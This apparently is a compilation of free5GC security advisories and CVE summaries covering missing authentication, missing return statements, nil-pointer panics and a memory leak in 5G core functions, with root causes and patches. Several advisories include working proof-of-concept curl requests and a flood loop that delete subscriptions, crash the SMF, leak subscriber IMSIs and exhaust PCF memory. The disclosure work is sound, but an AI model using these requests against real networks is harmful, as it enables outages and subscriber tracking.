Then delete it through an invalid path: bash curl -v -X DELETE "http://<udr-host>/nudr-dr/v2/application-data/influenceData/WRONGID/87615e16" Response: HTTP/1.1 404 Not Found 404 page not found Now verify that the subscription was actually deleted: bash curl -v "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify/87615e16" Response: json {"title":"User not found","status":404,"cause":"USERNOTFOUND"} Impact This is an unauthenticated unauthorized delete vulnerability. Any attacker with network access to the SBI can delete Traffic Influence Subscriptions by knowing or guessing a valid subscriptionId.
This can disrupt policy-related notification workflows and remove active subscription state from the UDR. In addition, the attack is harder to detect because the API returns a misleading 404 Not Found response even when the deletion is actually performed.
Impacted deployments: any free5GC instance where the SBI is reachable by untrusted parties (e.g., misconfigured network segmentation, rogue NF, or compromised internal host).
Patch The vulnerability has been confirmed patched by adding the missing return statement in NFs/udr/internal/sbi/apidatarepository.go, function HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdDelete: go if influenceId != "subs-to-notify" { c.String(http.StatusNotFound, "404 page not found") return } With the patch applied, requests using an invalid influenceId now correctly return HTTP 404 and do not delete the targeted subscription.
Summary PCF NpcfSMPolicyControl missing authentication middleware allows unauthenticated access to SM policy handlers and disclosure of subscriber SUPI Details In NewServer(), the smPolicyGroup route group is created and routes are applied without attaching the router authorization middleware. In contrast, other PCF service groups such as NpcfPolicyAuthorization do attach RouterAuthorizationCheck before route registration.
Because the middleware is missing, requests to the following endpoints can reach business logic even when no valid OAuth token is provided:
- POST /npcf-smpolicycontrol/v1/sm-policies - GET /npcf-smpolicycontrol/v1/sm-policies/{smPolicyId} - POST /npcf-smpolicycontrol/v1/sm-policies/{smPolicyId}/update - POST /npcf-smpolicycontrol/v1/sm-policies/{smPolicyId}/delete
This is visible at runtime because unauthenticated requests return business-level responses such as 400 or 404 instead of being rejected with 401 before handler execution. Under valid lab preconditions (existing UE/session context and related policy data), unauthenticated POST /sm-policies can succeed with 201, and unauthenticated GET /sm-policies/{id} can succeed with 200 and return policy context containing subscriber identifiers including supi.
The root cause is missing router auth enforcement for NpcfSMPolicyControl. Upstream also fixed this by adding RouterAuthorizationCheck to smPolicyGroup (and uePolicyGroup) in free5gc/pcf PR #63.
PoC 1. Deploy free5GC with PCF reachable on the SBI network. 2. Use the PoC against the PCF service without an Authorization header: bash go run /home/ubuntu/free5gc/tools/npcf-smpolicy-noauth-poc/main.go \ --pcf-root /home/ubuntu/free5gc/NFs/pcf \ --pcf-url http://10.100.200.9:8000 \ --timeout 4s Observe that unauthenticated requests to NpcfSMPolicyControl return business responses instead of 401. Impact
This is an authentication/authorization bypass on a network-accessible SBI service. Any unauthenticated actor able to reach the PCF SBI interface can invoke NpcfSMPolicyControl handlers directly.
Summary free5GC's SMF mounts the UPI management route group without inbound OAuth2 middleware (same root cause as the broader UPI auth gap reported in free5gc/free5gc#887). On top of that, the DELETE /upi/v1/upNodesLinks/{upNodeRef} handler unconditionally dereferences upNode.UPF after the type-guarded async release, even though AN-typed nodes are constructed without a UPF object. As a result, a single unauthenticated DELETE /upi/v1/upNodesLinks/gNB1 request crashes the handler with a nil-pointer panic AND mutates the in-memory user-plane topology before panicking (the UpNodeDelete(upNodeRef) line runs first). This is an unauthenticated, state-mutating panic-DoS sink that an off-path network attacker can trigger by name against any AN entry.
Details Validated against the SMF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/smf:v4.2.1 - Runtime SMF commit: 8385c00a - Docker validation date: 2026-03-22 local (container log timestamp 2026-03-21T23:43:17Z) - SMF endpoint: http://10.100.200.6:8000
Control comparison on the same SMF instance: - GET /nsmf-oam/v1/ (no token) -> 401 Unauthorized - DELETE /upi/v1/upNodesLinks/gNB1 (no token) -> 500 Internal Server Error (panic)
The sibling nsmf-oam returning 401 proves OAuth middleware IS wired in for other SMF route groups; the UPI group specifically is mounted without it.
Vulnerable handler logic (paths in free5gc/smf): go // NFs/smf/internal/sbi/apiupi.go:94..99 if upNode.Type == smfcontext.UPNODEUPF { go s.Processor().ReleaseAllResourcesOfUPF(upNode.UPF) } upi.UpNodeDelete(upNodeRef) upNode.UPF.CancelAssociation() // <-- panics for AN-typed nodes; nil UPF
The Type == UPNODEUPF guard only protects the asynchronous ReleaseAllResourcesOfUPF call. After that, UpNodeDelete(upNodeRef) runs unconditionally (so the topology mutation lands first), and then upNode.UPF.CancelAssociation() is called unconditionally on a UPF that is nil for AN nodes by construction.
Code evidence: - UPI group mounted WITHOUT auth middleware: - NFs/smf/internal/sbi/server.go:76 - NFs/smf/internal/sbi/server.go:78 - Protected control comparison (other SMF groups DO use auth): - NFs/smf/internal/sbi/server.go:99 - NFs/smf/internal/sbi/server.go:105 - Delete handler (panic site): - NFs/smf/internal/sbi/apiupi.go:94 - NFs/smf/internal/sbi/apiupi.go:99 - AN nodes are constructed without a UPF object (root cause of the nil deref): - NFs/smf/internal/context/userplaneinformation.go:95 - NFs/smf/internal/context/userplaneinformation.go:97
PoC Reproduced end-to-end against the running SMF at http://10.100.200.6:8000.
1. Control: protected sibling OAM route returns 401: curl -i http://10.100.200.6:8000/nsmf-oam/v1/ HTTP/1.1 401 Unauthorized
2. Trigger: unauthenticated DELETE on the default AN node gNB1: curl -i -X DELETE http://10.100.200.6:8000/upi/v1/upNodesLinks/gNB1 HTTP/1.1 500 Internal Server Error
3. SMF container logs (docker logs --tail 120 smf) show topology mutation landing BEFORE the panic, and the panic stack pointing at apiupi.go:99: [INFO][SMF][Init] UPNode [gNB1] found. Deleting it. [INFO][SMF][Init] Delete UPLink [UPF] <=> [gNB1]. [ERRO][SMF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/smf/internal/sbi.(Server).DeleteUpNodeLink /go/src/free5gc/NFs/smf/internal/sbi/apiupi.go:99 +0x298 [INFO][SMF][GIN] | 500 | DELETE | /upi/v1/upNodesLinks/gNB1
The lab state was manually restored after validation by re-creating the AN entry; that POST is restoration-only and is NOT a mitigation.
Impact Three compounding defects on the same SMF SBI surface: 1. Missing inbound authentication (CWE-306) and authorization (CWE-862) on the UPI route group, so the trigger is reachable to any off-path network attacker who can reach SMF on the SBI -- no token, no session, no UE state needed. The same-instance nsmf-oam returning 401 proves the middleware is wired in elsewhere and only missing on UPI. 2. NULL pointer dereference (CWE-476) in DeleteUpNodeLink: the Type == UPNODEUPF guard only covers the async release call, then upNode.UPF.CancelAssociation() runs unconditionally on AN-typed nodes that have a nil UPF field by construction. 3. Order of operations (CWE-755 / CWE-754): UpNodeDelete(upNodeRef) mutates the in-memory user-plane topology BEFORE the dereference panics, so the topology change lands even though the request returns 500. This makes the bug state-mutating, not just a plain panic.
Any party that can reach SMF on the SBI can: - Delete arbitrary named entries (e.g. gNB1) from SMF's in-memory user-plane topology anonymously via a single DELETE /upi/v1/upNodesLinks/{ref} request, denying SMF's ability to consider that AN/UPF in subsequent UPF selection / PFCP path establishment for legitimate UE sessions. - Trigger a panic on the SMF goroutine for the deleted-AN case, even though Gin recovers the goroutine, leaving the topology in the mutated state above. - Repeat the trigger by name against any AN entry, sustaining the topology denial without ever authenticating.
This is a strict superset of the impact in free5gc/free5gc#887 for this specific code path: same auth bypass, plus a concrete request-triggerable nil deref, plus state mutation that survives the panic.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/905 Upstream fix: https://github.com/free5gc/smf/pull/199
Summary
The free5GC UDM component fails to validate the supi path parameter in six GET handlers of the nudm-sdm (Subscriber Data Management) service. An unauthenticated attacker can inject control characters into the SUPI parameter, causing UDM to forward a malformed request to UDR and return a 500 Internal Server Error response that exposes internal infrastructure details.
Affected Package
- Ecosystem: Go - Package: github.com/free5gc/udm - Affected versions: <= v1.4.2 - Patched versions: none yet
Details
The following handlers in internal/sbi/apisubscriberdatamanagement.go do not call validator.IsValidSupi() before passing the supi parameter to the processor:
- HandleGetSmfSelectData — GET /:supi/smf-select-data - HandleGetSupi — GET /:supi - HandleGetTraceData — GET /:supi/trace-data - HandleGetUeContextInSmfData — GET /:supi/ue-context-in-smf-data - HandleGetNssai — GET /:supi/nssai - HandleGetSmData — GET /:supi/sm-data
By contrast, HandleGetAmData in the same file correctly validates the supi parameter:
go // HandleGetAmData — correctly validates (not vulnerable) supi := c.Params.ByName("supi") if !validator.IsValidSupi(supi) { c.JSON(http.StatusBadRequest, problemDetail) return }
// HandleGetSmfSelectData — missing validation (vulnerable) supi := c.Params.ByName("supi") // ← no validator.IsValidSupi(supi) call s.Processor().GetSmfSelectDataProcedure(c, supi, plmnID, supportedFeatures)
The malformed supi is passed to the processor which constructs a URL to forward the request to UDR. Go's net/url parser rejects the URL containing control characters and returns an error. UDM catches this error and responds with a 500 SYSTEMFAILURE that includes the full internal UDR URL in the detail field.
This is a missed fix of CVE-2026-27642, which applied the same validator.IsValidSupi() check only to internal/sbi/apiueauthentication.go (HandleConfirmAuth and HandleGenerateAuthData), leaving the SDM service handlers unpatched.
Proof of Concept
bash Vulnerable — returns 500 with internal UDR URL exposed curl "http://<UDMHOST>/nudm-sdm/v2/imsi-22277%00INJECTED/smf-select-data" curl "http://<UDMHOST>/nudm-sdm/v2/imsi-22277%00INJECTED/nssai" curl "http://<UDMHOST>/nudm-sdm/v2/imsi-22277%00INJECTED/trace-data" curl "http://<UDMHOST>/nudm-sdm/v2/imsi-22277%00INJECTED/sm-data"
Expected (vulnerable) response: HTTP 500 { "title": "System failure", "status": 500, "detail": "parse \"http://udr.internal:80/nudr-dr/v2/subscription-data/imsi-22277\x00INJECTED//provisioned-data/smf-selection-subscription-data\": net/url: invalid control character in URL", "cause": "SYSTEMFAILURE" }
Protected endpoint (for comparison) — returns 400 curl "http://<UDMHOST>/nudm-sdm/v2/imsi-22277%00INJECTED/am-data" HTTP 400 {"title":"Malformed request syntax","status":400,"detail":"Supi is invalid","cause":"MANDATORYIEINCORRECT"}
Impact
An unauthenticated remote attacker can send a crafted GET request to any of the six affected endpoints to obtain:
1. Internal UDR hostname and port 2. Full internal API path structure (/nudr-dr/v2/subscription-data/...) 3. UDR API version 4. Internal service naming convention
This information can be used to facilitate further attacks against the UDR or other internal 5G core components.
Recommended Fix
Add validator.IsValidSupi() to all six affected handlers, following the pattern already used in HandleGetAmData:
go supi := c.Params.ByName("supi") if !validator.IsValidSupi(supi) { problemDetail := models.ProblemDetails{ Title: "Malformed request syntax", Status: http.StatusBadRequest, Detail: "Supi is invalid", Cause: "MANDATORYIEINCORRECT", } c.Set(sbi.INPBDETAILSCTXSTR, http.StatusText(int(problemDetail.Status))) c.JSON(int(problemDetail.Status), problemDetail) return }
An issue was discovered in function LocalNode.Sess in free5GC 4.1.0 allowing attackers to cause a denial of service or other unspecified impacts via crafted header Local SEID to the PFCP Session Modification Request.
The free5GC UPF suffers from a lack of bounds checking on the SEID when processing PFCP Session Deletion Requests. An unauthenticated remote attacker can send a request with a very large SEID (e.g., 0xFFFFFFFFFFFFFFFF) that causes an integer conversion/underflow in LocalNode.DeleteSess() / LocalNode.Sess() when a uint64 SEID is converted to int and used in index arithmetic. This leads to a negative index into n.sess and a Go runtime panic, resulting in a denial of service (UPF crash). The issue has been reproduced on free5GC v4.1.0 with crashes observed in the session lookup/deletion path in internal/pfcp/node.go; other versions may also be affected. No authentication is required.
A vulnerability has been found in Free5GC SMF up to 4.1.0. Affected by this vulnerability is the function HandlePfcpSessionReportRequest of the file internal/pfcp/handler/handler.go of the component PFCP. The manipulation leads to denial of service. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used. To fix this issue, it is recommended to deploy a patch.
A flaw has been found in Free5GC SMF up to 4.1.0. Affected is the function HandlePfcpAssociationReleaseRequest of the file internal/pfcp/handler/handler.go of the component PFCP UDP Endpoint. Executing a manipulation can lead to null pointer dereference. The attack may be launched remotely. The exploit has been published and may be used. A patch should be applied to remediate this issue.
A vulnerability was found in Free5GC SMF up to 4.1.0. Affected by this issue is the function HandleReports of the file /internal/context/pfcpreports.go of the component PFCP UDP Endpoint. The manipulation results in denial of service. The attack can be executed remotely. It is advisable to implement a patch to correct this issue.
A vulnerability was determined in Free5GC up to 4.1.0. The impacted element is the function establishPfcpSession of the component SMF. Executing a manipulation can lead to null pointer dereference. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized. It is best practice to apply a patch to resolve this issue.
A vulnerability was identified in Free5GC up to 4.1.0. This affects the function ResolveNodeIdToIp of the file internal/sbi/processor/datapath.go of the component SMF. The manipulation leads to denial of service. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. It is recommended to apply a patch to fix this issue.
A weakness has been identified in Free5GC up to 4.1.0. Affected is the function SessionDeletionResponse of the component SMF. This manipulation causes null pointer dereference. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. It is suggested to install a patch to address this issue.
A security flaw has been discovered in Free5GC up to 4.1.0. This impacts the function identityTriggerType of the file pfcpreports.go. The manipulation results in null pointer dereference. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks. Applying a patch is advised to resolve this issue.
A heap buffer overflow vulnerability in the UPF component of free5GC v4.0.1 allows remote attackers to cause a denial of service via a crafted PFCP Session Modification Request. The issue occurs in the SDFFilterFields.UnmarshalBinary function (sdf-filter.go) when processing a declared length that exceeds the actual buffer capacity, leading to a runtime panic and UPF crash.
An improper input validation and protocol compliance vulnerability in free5GC v4.0.1 allows remote attackers to cause a denial of service. The UPF incorrectly accepts a malformed PFCP Association Setup Request, violating 3GPP TS 29.244. This places the UPF in an inconsistent state where a subsequent valid PFCP Session Establishment Request triggers a cascading failure, disrupting the SMF connection and causing service degradation.
An array index out of bounds vulnerability in the AMF component of free5GC v4.0.1 allows remote attackers to cause a denial of service via a crafted 5GS Mobile Identity in a NAS Registration Request message. The issue occurs in the GetSUCI method (NASMobileIdentity5GS.go) when accessing index 5 of a 5-element array, leading to a runtime panic and AMF crash.
A vulnerability has been found in Free5GC up to 4.1.0. This affects an unknown function of the component PFCP UDP Endpoint. Such manipulation leads to denial of service. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.
An issue in Free5GC v.4.2.0 and before allows a remote attacker to cause a denial of service via the function HandleAuthenticationFailure of the component AMF
Summary An information disclosure vulnerability in the UDR service allows any unauthenticated attacker with access to the 5G Service Based Interface (SBI) to retrieve stored subscriber identifiers (SUPI/IMSI) with a single HTTP GET request requiring no parameters or credentials.
Details The endpoint GET /nudr-dr/v2/application-data/influenceData/subs-to-notify (defined in 3GPP TS 29.519) requires at least one query parameter (dnns, snssais, supis, or internalGroupIds) to filter results.
In the free5GC UDR implementation, the input validation is present but ineffective because the handler does not return after sending the HTTP 400 error. The request handling flow is:
1. The function HandleApplicationDataInfluenceDataSubsToNotifyGet in ./free5gc4-2-1/free5gc/NFs/udr/internal/sbi/apidatarepository.go (around line 2793) checks whether all of dnn, snssai, internalGroupId, and supi are empty. 2. If they are all empty, it builds a problemDetails structure and calls c.JSON(http.StatusBadRequest, problemDetails) to send a 400 response, but it does not return afterwards. 3. Execution continues and the handler still calls s.Processor().ApplicationDataInfluenceDataSubsToNotifyGetProcedure(c, dnn,snssai, internalGroupId, supi) defined in ./free5gc4-2-1/free5gc/NFs/udr/internal/sbi/processor/influencedatasubscriptionscollection.go. 4. This processor function queries the data repository and writes the full list of Traffic Influence Subscriptions to the HTTP response body, including supis fields with SUPI/IMSI values.
As a result, a request without any query parameters produces a response where the HTTP status is 400 Bad Request, but the body contains both the error object and the full subscription list.
The missing return after sending the 400 response in apidatarepository.go is the root cause of this vulnerability.
PoC No authentication, no prior knowledge of any subscriber identifier required.
bash curl -v "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify" Response (HTTP 400): json {"status":400,"detail":"At least one of DNNs, S-NSSAIs, Internal Group IDs or SUPIs shall be provided"} [{"dnns":["internet"], "snssais":[{"sst":1,"sd":"000001"}], "supis":["imsi-222777483957498"], "notificationUri":"http://pcf.../npcf-callback/v1/nudr-notify/influence-data/imsi-222777483957498/1"}]
Impact This is an unauthenticated information disclosure vulnerability. Any attacker with network access to the SBI (Service Based Interface) can enumerate SUPIs (Subscriber Permanent Identifiers / IMSI values) of registered users without any credentials or prior knowledge.
In a 5G network, the SUPI is the most sensitive subscriber identifier — its exposure breaks the privacy guarantees introduced by 3GPP with the SUCI (Subscription Concealed Identifier) mechanism, designed specifically to prevent SUPI tracking over the air. This vulnerability completely undermines that protection at the core network level.
Impacted deployments: any free5GC instance where the SBI is reachable by untrusted parties (e.g., misconfigured network segmentation, rogue NF, or compromised internal host).
Note: an additional trigger exists — sending a malformed snssai parameter also bypasses validation due to a missing return after the deserialization error handler, producing the same information disclosure.
Patch
The vulnerability has been confirmed patched by adding the two missing return statements in NFs/udr/internal/sbi/apidatarepository.go, function HandleApplicationDataInfluenceDataSubsToNotifyGet:
1. After the c.JSON(http.StatusBadRequest, problemDetails) call in the snssai deserialization error branch. 2. After the c.JSON(http.StatusBadRequest, problemDetails) call in the empty parameters validation block.
With the patch applied, a request without any query parameters now correctly returns HTTP 400 with only the error message, and no subscriber data is included in the response body.
The fix has been verified: after applying the patch and recompiling the UDR, the endpoint GET /nudr-dr/v2/application-data/influenceData/subs-to-notify returns HTTP 400 with only: {"status":400,"detail":"At least one of DNNs, S-NSSAIs, Internal Group IDs or SUPIs shall be provided"} No SUPI or subscription data is leaked.
Summary
A memory leak vulnerability in the free5GC PCF (Policy Control Function) allows any unauthenticated attacker with network access to the PCF SBI interface to cause uncontrolled memory growth by sending repeated HTTP requests to the OAM endpoint. The root cause is a router.Use() call inside an HTTP handler that registers a new CORS middleware on every incoming request, permanently growing the Gin router's handler chain. This leads to progressive memory exhaustion and eventual Denial of Service of the PCF, preventing all UEs from obtaining AM and SM policies and blocking 5G session establishment.
Details
File: free5gc/pcf/internal/sbi/apioam.go Function: setCorsHeader(), called by HTTPOAMGetAmPolicy()
The function setCorsHeader() invokes s.router.Use() on every incoming HTTP request:
go func (s Server) setCorsHeader(c gin.Context) { // BUG: router.Use() inside a handler — executes on every request s.router.Use(cors.New(cors.Config{ AllowMethods: []string{"GET", "POST", "OPTIONS", "PUT", "PATCH", "DELETE"}, AllowAllOrigins: true, AllowCredentials: true, MaxAge: CorsConfigMaxAge, })) // Redundant manual header setting c.Writer.Header().Set("Access-Control-Allow-Origin", "") c.Writer.Header().Set("Access-Control-Allow-Credentials", "true") // ... }
func (s Server) HTTPOAMGetAmPolicy(c gin.Context) { s.setCorsHeader(c) // ← called on every GET /npcf-oam/v1/am-policy/:supi // ... } In the Gin framework, router.Use() appends a new HandlerFunc to the router's internal middleware slice. This operation is not idempotent — it does not replace existing middleware but appends a new instance on every call. After N requests, Gin executes N CORS middleware instances before reaching the actual handler:
Request N → [corsmw1 → corsmw2 → ... → corsmwN → actualhandler]
Since s.router holds a permanent reference to the accumulated middleware slice, the Go garbage collector cannot free this memory. The additional issue of AllowAllOrigins: true combined with AllowCredentials: true also constitutes a CORS misconfiguration (forbidden by the CORS specification), though this is secondary to the memory leak.
Fix: Move router.Use(cors.New(...)) to the server initialization function (called once at startup), and remove setCorsHeader() from all handlers entirely:
go // ✅ server.go — called once at startup func (s Server) initRouter() { s.router.Use(cors.New(cors.Config{ AllowMethods: []string{"GET", "POST", "OPTIONS", "PUT", "PATCH", "DELETE"}, AllowOrigins: []string{"https://trusted-origin.example.com"}, AllowCredentials: false, MaxAge: CorsConfigMaxAge, })) } PoC
Environment: - free5GC v4.2.1 (commit df535f55, build 2026-03-04) - PCF container IP: 10.22.22.6, port 80 - Attacker: any container on the same Docker network (tested from UDM container) - No authentication required (OAuth2 disabled)
Step 1 — Record memory baseline: bash docker stats --no-stream | grep pcf Output: 24.86 MiB
Step 2 — Launch flood from attacker container: bash for i in $(seq 1 5000); do curl -s http://10.22.22.6/npcf-oam/v1/am-policy/imsi-222771234567890 > /dev/null & [ $((i % 100)) -eq 0 ] && wait && echo "[] $i req sent" done wait
Step 3 — Monitor memory growth: bash watch -n 2 "docker stats --no-stream | grep pcf"
Results:
| Requests sent | PCF Memory | Delta | |---------------|------------|------------| | 0 (baseline) | 24.86 MiB | — | | ~5,000 | 46.48 MiB | +21.62 MiB | | ~10,000 | 58.59 MiB | +12.11 MiB | | ~15,000 | 70.30 MiB | +11.71 MiB | | ~100,000 (projected) | ~170+ MiB | OOM kill |
Memory never returns to baseline between request batches, confirming permanent retention by the router's middleware chain.
Impact
Vulnerability type: Uncontrolled Resource Consumption (Memory Exhaustion) leading to Denial of Service.
Who is impacted: Any deployment of free5GC where the PCF OAM interface is reachable from the internal 5G core network. Since all 5G core NFs share the same Docker network by default, any compromised or attacker-controlled NF container can trigger this vulnerability without credentials.
5G service impact: The PCF is responsible for providing AM (Access and Mobility) policies to the AMF and SM (Session Management) policies to the SMF. A DoS of the PCF prevents: - New UE registrations (AM policy creation fails) - New PDU session establishment (SM policy creation fails) - Policy updates for existing sessions
In a production deployment this would result in complete loss of 5G service for all subscribers served by the affected PCF instance.